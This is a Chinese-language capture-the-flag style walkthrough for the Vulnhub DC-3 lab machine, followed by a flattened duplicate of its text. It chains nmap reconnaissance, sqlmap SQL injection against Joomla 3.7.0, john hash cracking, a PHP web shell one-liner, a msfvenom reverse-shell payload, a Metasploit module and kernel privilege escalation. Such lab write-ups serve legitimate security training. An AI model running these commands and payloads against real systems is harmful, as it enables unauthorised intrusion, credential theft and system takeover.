Vulnhub靶机 DC-3 打靶 渗透详细过程
字数 893 2025-08-19 12:42:32

DC-3 靶机渗透测试详细教程

一、靶机环境准备

  1. 下载靶机镜像:
    • 下载地址:https://download.vulnhub.com/dc/DC-3-2.zip
    • 解压后导入到虚拟机软件(如VMware或VirtualBox)

二、信息收集阶段

1. 主机发现

使用以下命令之一发现目标IP:

arp-scan -l
# 或
nmap -sn 10.1.2.0/24

假设发现目标IP为:10.1.2.148

2. 端口扫描

nmap -p- 10.1.2.148

发现只开放了80端口

3. 服务探针

nmap -p80 -sV 10.1.2.148

确定Web服务详细信息

三、Web应用分析

  1. 访问Web界面:http://10.1.2.148

  2. 目录爆破:

    dirb http://10.1.2.148
    

    或使用其他工具如gobuster

  3. 发现使用Joomla CMS,使用joomscan扫描:

    joomscan -u http://10.1.2.148
    

    如果没有安装joomscan:

    sudo apt install joomscan
    

四、漏洞利用

1. 搜索已知漏洞

searchsploit Joomla 3.7.0

发现存在SQL注入漏洞

2. SQL注入利用

使用sqlmap进行自动化注入:

  1. 爆数据库:

    sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
    
  2. 爆数据表(假设数据库名为joomladb):

    sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
    
  3. 爆用户表列信息:

    sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
    
  4. 获取用户凭证:

    sqlmap -u "http://10.1.2.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump
    

3. 密码破解

  1. 将获取的哈希保存到passwd.txt文件
  2. 使用john破解:
    john passwd.txt
    
    破解得到密码:snoopy

五、获取Webshell

方法一:手动上传

  1. 使用获取的凭证登录Joomla后台
  2. 在"扩展"->"模板"->"模板"中找到可编辑的模板文件
  3. 创建或编辑PHP文件,插入以下代码:
    <?php system($_GET['cmd']); ?>
    
    或使用反弹shell代码

方法二:使用msfvenom生成payload

  1. 生成PHP反弹shell:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=8888 -f raw -o cmd.php
    
  2. 上传生成的cmd.php文件

方法三:使用Metasploit自动化利用

msfconsole
search joomla
use exploit/multi/http/joomla_contenthistory_sqli_rce
set rhosts 10.1.2.148
exploit

六、权限提升

1. 获取稳定shell

在meterpreter会话中:

shell
python -c "import pty;pty.spawn('/bin/bash')"

2. 查找SUID权限文件

find / -perm -u=s -type f 2>/dev/null

发现at命令可能有利用价值

3. 内核漏洞提权

  1. 检查系统版本:

    cat /etc/issue
    

    发现是Ubuntu 16.04

  2. 搜索相关漏洞:

    searchsploit Ubuntu 16.04
    

    查看39772号漏洞

  3. 下载并利用漏洞:

    searchsploit -x linux/local/39772.txt
    # 在meterpreter中上传exp
    upload /path/to/exploit /tmp/exp
    # 执行提权
    

七、总结

  1. 通过SQL注入获取管理员凭证
  2. 破解哈希后登录后台
  3. 通过文件上传或模板编辑获取Webshell
  4. 利用内核漏洞完成提权

关键点:

  • Joomla 3.7.0的SQL注入漏洞利用
  • 密码哈希破解
  • 多种获取Webshell的方法
  • 内核漏洞提权技术
DC-3 靶机渗透测试详细教程 一、靶机环境准备 下载靶机镜像: 下载地址:https://download.vulnhub.com/dc/DC-3-2.zip 解压后导入到虚拟机软件(如VMware或VirtualBox) 二、信息收集阶段 1. 主机发现 使用以下命令之一发现目标IP: 假设发现目标IP为:10.1.2.148 2. 端口扫描 发现只开放了80端口 3. 服务探针 确定Web服务详细信息 三、Web应用分析 访问Web界面:http://10.1.2.148 目录爆破: 或使用其他工具如gobuster 发现使用Joomla CMS,使用joomscan扫描: 如果没有安装joomscan: 四、漏洞利用 1. 搜索已知漏洞 发现存在SQL注入漏洞 2. SQL注入利用 使用sqlmap进行自动化注入: 爆数据库: 爆数据表(假设数据库名为joomladb): 爆用户表列信息: 获取用户凭证: 3. 密码破解 将获取的哈希保存到passwd.txt文件 使用john破解: 破解得到密码:snoopy 五、获取Webshell 方法一:手动上传 使用获取的凭证登录Joomla后台 在"扩展"->"模板"->"模板"中找到可编辑的模板文件 创建或编辑PHP文件,插入以下代码: 或使用反弹shell代码 方法二:使用msfvenom生成payload 生成PHP反弹shell: 上传生成的cmd.php文件 方法三:使用Metasploit自动化利用 六、权限提升 1. 获取稳定shell 在meterpreter会话中: 2. 查找SUID权限文件 发现at命令可能有利用价值 3. 内核漏洞提权 检查系统版本: 发现是Ubuntu 16.04 搜索相关漏洞: 查看39772号漏洞 下载并利用漏洞: 七、总结 通过SQL注入获取管理员凭证 破解哈希后登录后台 通过文件上传或模板编辑获取Webshell 利用内核漏洞完成提权 关键点: Joomla 3.7.0的SQL注入漏洞利用 密码哈希破解 多种获取Webshell的方法 内核漏洞提权技术